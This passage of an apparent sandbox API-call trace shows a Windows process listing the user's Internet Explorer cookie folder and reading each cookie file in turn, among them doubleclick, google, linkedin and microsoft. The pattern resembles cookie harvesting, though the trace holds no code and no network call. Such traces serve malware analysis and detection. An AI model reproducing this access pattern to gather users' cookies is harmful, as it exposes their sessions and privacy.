lpOverlapped=0x0 | out: lpBuffer=0x1e7e2f0c*, lpNumberOfBytesRead=0x1e7df6cc*=0x90, lpOverlapped=0x0) returned 1 [0163.330] CloseHandle (hObject=0xf4) returned 1 [0163.330] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05934a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd06058c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd06058c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@casalemedia[2].txt", cAlternateFileName="AEEFDF~1.TXT")) returned 1 [0163.330] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@casalemedia[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@casalemedia[2].txt")) returned 0x2020 [0163.331] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@casalemedia[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@casalemedia[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.331] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x219 [0163.331] ReadFile (in: hFile=0xf4, lpBuffer=0x1f0253d4, nNumberOfBytesToRead=0x219, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1f0253d4*, lpNumberOfBytesRead=0x1e7df6cc*=0x219, lpOverlapped=0x0) returned 1 [0163.332] CloseHandle (hObject=0xf4) returned 1 [0163.333] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0163.333] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd04629a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd04629a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd04629a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@connextra[2].txt", cAlternateFileName="AE9716~1.TXT")) returned 1 [0163.334] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@connextra[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@connextra[2].txt")) returned 0x2020 [0163.334] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@connextra[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@connextra[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.334] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x145 [0163.334] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e02c0, nNumberOfBytesToRead=0x145, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e02c0*, lpNumberOfBytesRead=0x1e7df6cc*=0x145, lpOverlapped=0x0) returned 1 [0163.335] CloseHandle (hObject=0xf4) returned 1 [0163.335] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0bf8fc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0c6b3e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0c6b3e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@crwdcntrl[1].txt", cAlternateFileName="AE48CD~1.TXT")) returned 1 [0163.336] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@crwdcntrl[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@crwdcntrl[1].txt")) returned 0x2020 [0163.336] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@crwdcntrl[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@crwdcntrl[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.337] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x128 [0163.337] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e4694, nNumberOfBytesToRead=0x128, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e4694*, lpNumberOfBytesRead=0x1e7df6cc*=0x128, lpOverlapped=0x0) returned 1 [0163.338] CloseHandle (hObject=0xf4) returned 1 [0163.338] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd094b700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd094b700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd094b700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@demdex[1].txt", cAlternateFileName="AEC92B~1.TXT")) returned 1 [0163.338] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@demdex[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@demdex[1].txt")) returned 0x2020 [0163.339] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@demdex[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@demdex[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.339] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x6f [0163.339] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e4cfc, nNumberOfBytesToRead=0x6f, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e4cfc*, lpNumberOfBytesRead=0x1e7df6cc*=0x6f, lpOverlapped=0x0) returned 1 [0163.340] CloseHandle (hObject=0xf4) returned 1 [0163.341] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd500b80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd500b80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd500b80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@doubleclick[2].txt", cAlternateFileName="AEA244~1.TXT")) returned 1 [0163.341] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@doubleclick[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@doubleclick[2].txt")) returned 0x2020 [0163.343] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@doubleclick[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@doubleclick[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.343] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x112 [0163.343] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e4ff0, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e4ff0*, lpNumberOfBytesRead=0x1e7df6cc*=0x112, lpOverlapped=0x0) returned 1 [0163.344] CloseHandle (hObject=0xf4) returned 1 [0163.345] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09e3c80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd09e3c80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd09e3c80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x70, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@dpm.demdex[1].txt", cAlternateFileName="AE28CE~1.TXT")) returned 1 [0163.345] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@dpm.demdex[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@dpm.demdex[1].txt")) returned 0x2020 [0163.346] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@dpm.demdex[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@dpm.demdex[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.346] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x70 [0163.346] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e1ee8, nNumberOfBytesToRead=0x70, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e1ee8*, lpNumberOfBytesRead=0x1e7df6cc*=0x70, lpOverlapped=0x0) returned 1 [0163.348] CloseHandle (hObject=0xf4) returned 1 [0163.348] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0a560a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0ac84c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0ac84c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@exelator[1].txt", cAlternateFileName="AE0A5A~1.TXT")) returned 1 [0163.348] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@exelator[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@exelator[1].txt")) returned 0x2020 [0163.348] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@exelator[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@exelator[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.348] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x156 [0163.348] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e6108, nNumberOfBytesToRead=0x156, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e6108*, lpNumberOfBytesRead=0x1e7df6cc*=0x156, lpOverlapped=0x0) returned 1 [0163.349] CloseHandle (hObject=0xf4) returned 1 [0163.350] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09255a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd09255a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd09255a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@eyeota[1].txt", cAlternateFileName="AEEA65~1.TXT")) returned 1 [0163.350] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@eyeota[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@eyeota[1].txt")) returned 0x2020 [0163.351] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@eyeota[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@eyeota[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.351] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x67 [0163.351] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e68b8, nNumberOfBytesToRead=0x67, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e68b8*, lpNumberOfBytesRead=0x1e7df6cc*=0x67, lpOverlapped=0x0) returned 1 [0163.352] CloseHandle (hObject=0xf4) returned 1 [0163.352] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb99a0960, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xb99a0960, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb99a0960, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@google[2].txt", cAlternateFileName="AEAC72~1.TXT")) returned 1 [0163.353] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@google[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@google[2].txt")) returned 0x2020 [0163.353] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@google[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@google[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.353] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0xc2 [0163.353] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e6b50, nNumberOfBytesToRead=0xc2, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e6b50*, lpNumberOfBytesRead=0x1e7df6cc*=0xc2, lpOverlapped=0x0) returned 1 [0163.354] CloseHandle (hObject=0xf4) returned 1 [0163.354] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0c45280, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0c45280, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0c45280, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x137, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@ibeu2.mookie1[2].txt", cAlternateFileName="AEEA6E~1.TXT")) returned 1 [0163.355] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@ibeu2.mookie1[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ibeu2.mookie1[2].txt")) returned 0x2020 [0163.355] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@ibeu2.mookie1[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ibeu2.mookie1[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.355] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x137 [0163.355] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e6da4, nNumberOfBytesToRead=0x137, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e6da4*, lpNumberOfBytesRead=0x1e7df6cc*=0x137, lpOverlapped=0x0) returned 1 [0163.356] CloseHandle (hObject=0xf4) returned 1 [0163.356] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05b9600, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05b9600, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05b9600, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@ih.adscale[1].txt", cAlternateFileName="AE118A~1.TXT")) returned 1 [0163.356] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@ih.adscale[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ih.adscale[1].txt")) returned 0x2020 [0163.357] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@ih.adscale[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ih.adscale[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.357] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x81 [0163.357] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e72ac, nNumberOfBytesToRead=0x81, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e72ac*, lpNumberOfBytesRead=0x1e7df6cc*=0x81, lpOverlapped=0x0) returned 1 [0163.358] CloseHandle (hObject=0xf4) returned 1 [0163.358] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd92b200, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd92b200, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd92b200, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@linkedin[2].txt", cAlternateFileName="AE4CE8~1.TXT")) returned 1 [0163.358] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@linkedin[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@linkedin[2].txt")) returned 0x2020 [0163.359] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@linkedin[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@linkedin[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.360] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x10d [0163.360] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf3404, nNumberOfBytesToRead=0x10d, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf3404*, lpNumberOfBytesRead=0x1e7df6cc*=0x10d, lpOverlapped=0x0) returned 1 [0163.361] CloseHandle (hObject=0xf4) returned 1 [0163.361] VirtualAlloc (lpAddress=0x1fcf4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fcf4000 [0163.362] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19bb3760, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b0d3aa0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b0d3aa0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x76, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@m.exactag[2].txt", cAlternateFileName="AE14B6~1.TXT")) returned 1 [0163.362] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@m.exactag[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@m.exactag[2].txt")) returned 0x2020 [0163.363] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@m.exactag[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@m.exactag[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.363] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x76 [0163.363] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7e7654, nNumberOfBytesToRead=0x76, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1e7e7654*, lpNumberOfBytesRead=0x1e7df6cc*=0x76, lpOverlapped=0x0) returned 1 [0163.364] CloseHandle (hObject=0xf4) returned 1 [0163.364] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05df760, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05df760, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05df760, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@mathtag[2].txt", cAlternateFileName="AE1703~1.TXT")) returned 1 [0163.365] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@mathtag[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@mathtag[2].txt")) returned 0x2020 [0163.365] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@mathtag[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@mathtag[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.365] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x121 [0163.365] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf5a4c, nNumberOfBytesToRead=0x121, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf5a4c*, lpNumberOfBytesRead=0x1e7df6cc*=0x121, lpOverlapped=0x0) returned 1 [0163.366] CloseHandle (hObject=0xf4) returned 1 [0163.366] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce87dfa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1747840, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1747840, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@microsoft[1].txt", cAlternateFileName="AEE18A~1.TXT")) returned 1 [0163.367] GetFileAttributesW 